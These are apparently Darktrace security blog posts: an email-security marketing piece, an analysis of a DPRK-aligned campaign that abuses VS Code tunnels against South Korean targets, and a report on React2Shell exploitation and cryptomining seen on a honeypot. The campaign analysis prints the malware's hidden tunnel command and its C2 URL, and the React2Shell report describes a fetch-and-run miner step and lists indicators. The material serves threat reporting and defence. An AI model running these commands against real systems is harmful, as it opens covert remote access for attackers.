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March 29, 2023

Email Security & Future Innovations: Educating Employees

As online attackers change to targeted and sophisticated attacks, Darktrace stresses the importance of protection and utilizing steady verification codes.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
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29
Mar 2023

In an escalating threat landscape with email as the primary target, IT teams need to move far beyond traditional methods of email security that haven’t evolved fast enough – they’re trained on historical attack data, so only catch what they’ve seen before. By design, they are permanently playing catch up to continually innovating attackers, taking an average of 13 days to recognize new attacks[1]

Phishing attacks are getting more targeted and sophisticated as attackers innovate in two key areas: delivery tactics, and social engineering. On the malware delivery side, attackers are increasingly ‘piggybacking’ off the legitimate infrastructure and reputations of services like SharePoint and OneDrive, as well as legitimate email accounts, to evade security tools. 

To evade the human on the other end of the email, attackers are tapping into new social engineering tactics, exploiting fear, uncertainty, and doubt (FUD) and evoking a sense of urgency as ever, but now have tools at their disposal to enable tailored and personalized social engineering at scale. 

With the help of tools such as ChatGPT, threat actors can leverage AI technologies to impersonate trusted organizations and contacts – including damaging business email compromises, realistic spear phishing, spoofing, and social engineering. In fact, Darktrace found that the average linguistic complexity of phishing emails has jumped by 17% since the release of ChatGPT.  

This is just one example of accelerating attack sophistication – lowering the barrier to entry and improving outcomes for attackers. It forms part of a wider trend of the attack landscape moving from low-sophistication, low-impact, and generic phishing tactics - a 'spray and pray' approach - to more targeted, sophisticated, and higher impact attacks that fall outside of the typical detection remit for any tool relying on rules and signatures. Generative AI and other technologies in the attackers' toolkit will soon enable the launch of these attacks at scale, and only being able to catch known threats that have been seen before will no longer be enough.

Figure 1: The progression of attacks and relative coverage of email security tools

In an escalating threat landscape with email as the primary target, the vast majority of email security tools haven't evolved fast enough – they’re trained on historical attack data, so only catch what they’ve seen before. They look to the past to try and predict the next attack, and are designed to catch today’s attacks tomorrow.

Organizations are increasingly moving towards AI systems, but not all AI is the same, and the application of that AI is crucial. IT and security teams need to move towards email security that is context-aware and leverages AI for deep behavioral analysis. And it’s a proven approach, successfully catching attacks that slip by other tools across thousands of organizations. And email security today needs to be more about just protecting the inbox. It needs to address not just malicious emails, but the full 360-degree view of a user across their email messages and accounts, as well as extended coverage where email bleeds into collaboration tools/SaaS. For many organizations, the question is not if they should upgrade their email security, but when – how much longer can they risk relying on email security that’s stuck looking to the past?  

The Email Security Industry: Playing Catch-Up

Gateways and ICES (Integrated Cloud Email Security) providers have something in common: they look to past attacks in order to try to predict the future. They often rely on previous threat intelligence and on assembling ‘deny-lists’ of known bad elements of emails already identified as malicious – these tools fail to meet the reality of the contemporary threat landscape. Some of these tools attempt to use AI to improve this flawed approach, looking not only for direct matches, but using "data augmentation" to try and find similar-looking emails. But this approach is still inherently blind to novel threats. 

These tools tend to be resource-intensive, requiring constant policy maintenance combined with the hand-to-hand combat of releasing held-but-legitimate emails and holding back malicious phishing emails. This burden of manually releasing individual emails typically falls on security teams, teams that are frequently small with multiple areas of responsibility. The solution is to deploy technology that autonomously stops the bad while allowing the good through, and adapts to changes in the organization – technology that actually fits the definition of ‘set and forget’.  

Becoming behavioral and context-aware  

There is a seismic shift underway in the industry, from “secure” email gateways to intelligent AI-driven thinking. The right approach is to understand the behaviors of end users – how each person uses their inbox and what constitutes ‘normal’ for each user – in order to detect what’s not normal. It makes use of context – how and when people communicate, and with who – to spot the unusual and to flag to the user when something doesn’t look quite right – and why. Basically, a system that understands you. Not past attacks.  

Darktrace has developed a fundamentally different approach to AI, one that doesn’t learn what’s dangerous from historical data but from a deep continuous understanding of each organization and their users. Only a complex understanding of the normal day-to-day behavior of each employee can accurately determine whether or not an email actually belongs in that recipient’s inbox. 

Whether it’s phishing, ransomware, invoice fraud, executive impersonation, or a novel technique, leveraging AI for behavioral analysis allows for faster decision-making – it doesn’t need to wait for a Patient Zero to contain a new attack because it can stop malicious threats on first encounter. This increased confidence in detection allows for more a precise response – targeted action to remove only the riskiest parts of an email, rather than taking a broad blanket response out of caution – in order to reduce risk with minimal disruption to the business. 

Returning to our attack spectrum, as the attack landscape moves increasingly towards highly sophisticated attacks that use novel or seemingly legitimate infrastructure to deliver malware and induce victims, it has never been more important to detect and issue an appropriate response to these high-impact and targeted attacks. 

Fig 2: How Darktrace combined with native email security to cover the full spectrum of attacks

Understanding you and a 360° view of the end user  

We know that modern email security isn’t limited to the inbox alone – it has to encompass a full understanding of a user’s normal behavior across email and beyond. Traditional email tools are focused solely on inbound email as the point of breach, which fails to protect against the potentially catastrophic damage caused by a successful email attack once an account has been compromised.    

Fig 3: A 360° understanding of a user reveals their digital touchpoints beyond Microsoft

In order to have complete context around what is normal for a user, it’s crucial to understand their activity within Microsoft 365, Google Workspace, Salesforce, Dropbox, and even their device on the network. Monitoring devices (as well as inboxes) for symptoms of infection is crucial to determining whether or not an email has been malicious, and if similar emails need to be withheld in the future. Combining with data from cloud apps enables a more holistic view of identity-based attacks. 

Understanding a user in the context of the whole organization – which also means network, cloud, and endpoint data – brings additional context to light to improve decision making, and connecting email security with external data on the attack surface can help proactively find malicious domains, so that defenses can be hardened before an attack is even launched.

Educating and Engaging Your Employees

Ultimately, it’s employees who interact with any given email. If organizations can successfully empower this user base, they will end up with a smarter workforce, fewer successful attacks, and a security team with more time on their hands for better, strategic work. 

The tools that succeed best will be those that can leverage AI to help employees become more security-conscious. While some emails are evidently malicious and should never enter an employee’s inbox, there is a significant grey area of emails that have potentially risky elements. The majority of security tools will either withhold these emails completely – even though they might be business critical – or let them through scot-free. But what if these grey-area emails could in fact be used as training opportunities?    

As opposed to phishing simulation vendors, behavioral AI can improve security awareness holistically throughout organizations by training users with a light touch via their own inboxes – bringing the end user into the loop to harden defenses.  

The new frontier of email security fights AI with AI, and organizations who lag behind might end up learning the hard way. Read on for our blog series about how these technologies can transform the employee experience, dynamize deployment, augment security teams and form part of an integrated defensive loop.    

[1] 13 days is the mean average of phishing payloads active in the wild between the response of Darktrace/Email compared to the earliest of 16 independent feeds submitted by other email security technologies.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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